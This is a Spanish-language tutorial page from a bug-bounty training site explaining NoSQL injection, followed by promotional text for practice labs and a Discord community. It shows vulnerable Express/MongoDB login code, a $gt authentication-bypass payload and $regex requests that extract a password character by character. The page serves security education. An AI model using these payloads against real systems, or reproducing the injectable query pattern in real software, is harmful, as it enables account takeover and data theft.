NoSQL Injection

Alto

NoSQL Injection

Definición

NoSQL Injection es una vulnerabilidad que permite a un atacante interferir con las consultas de bases de datos NoSQL (como MongoDB, CouchDB) mediante la inyección de operadores o expresiones maliciosas. A diferencia de SQL Injection, explota la estructura de consultas basadas en objetos JSON y operadores específicos del DBMS.

Impacto

Bypass de autenticación sin credencialesExtracción de datos de la base de datos carácter por carácterModificación o eliminación de documentosDenegación de servicio con expresiones regulares costosas (ReDoS)Acceso a colecciones y datos no autorizados

Ejemplos

NoSQL Injection bypass de autenticación en MongoDB

Al enviar un operador MongoDB ($gt, $ne, $regex) en lugar de un string, la condición de contraseña siempre es verdadera. Esto permite autenticarse como cualquier usuario sin conocer su contraseña.

// Código vulnerable (Express + MongoDB)
const user = await User.findOne({
  username: req.body.username,
  password: req.body.password
});

// Petición legítima
POST /api/login
{"username": "admin", "password": "secreto123"}

// Payload de inyección NoSQL
POST /api/login
{"username": "admin", "password": {"$gt": ""}}

// La consulta resultante:
// db.users.findOne({username: "admin", password: {$gt: ""}})
// $gt: "" es verdadero para cualquier string, bypass total

NoSQL Injection con $regex para extraer datos

Usando el operador $regex, el atacante puede verificar carácter por carácter si la contraseña comienza con un determinado patrón, extrayendo la contraseña completa mediante un ataque de fuerza bruta basado en expresiones regulares.

// Extracción de contraseña carácter por carácter
POST /api/login
{"username": "admin", "password": {"$regex": "^a"}}  // falla
{"username": "admin", "password": {"$regex": "^s"}}  // éxito
{"username": "admin", "password": {"$regex": "^se"}} // éxito
{"username": "admin", "password": {"$regex": "^sec"}} // éxito
// ... hasta extraer la contraseña completa

Referencias externas

Practica NoSQL Injection con labs reales

Aplica lo que has aprendido en entornos seguros basados en reportes de bug bounty.

Ver labs de práctica
2.786

hunters entrenando

63

labs de hackeos reales

1.767

completaciones

$14.790

pagados por estos bugs

37 flags capturadas esta semana·Hackeos reales de HackerOne · YesWeHack · Bugcrowd·Sin permanencia·Academy gratis
Gratis · sin cuenta

La checklist que repaso en cada objetivo nuevo

47 comprobaciones ordenadas por coste: primero lo que te puede meter en un lío, luego lo barato, y al final lo caro — que es donde están los bounties grandes. Te la mando al correo ahora mismo.

Te das de baja en un clic, desde cualquier correo.

BBLabs · bug bounty en español

Deja de leer sobre bugs y empieza a cazarlos

Crea tu cuenta gratis y practica sobre labs basados en hackeos reales que pagaron miles de euros. La Academy es gratis para siempre.

Sin tarjeta · Academy gratis · cancela cuando quieras

La comunidad

Esto no es una plataforma con usuarios.Es gente rompiendo lo mismo que tú.

Dentro se pregunta, se enseña lo que se ha encontrado y se resuelve en grupo lo que atascaría a cualquiera solo. Se entra gratis: sin cuenta, sin plan y sin dejar el correo.

Entrar a la comunidad de BBLABS en Discord
Entrar al Discord

Es gratis y abierto. No hace falta tener cuenta en BBLABS para entrar.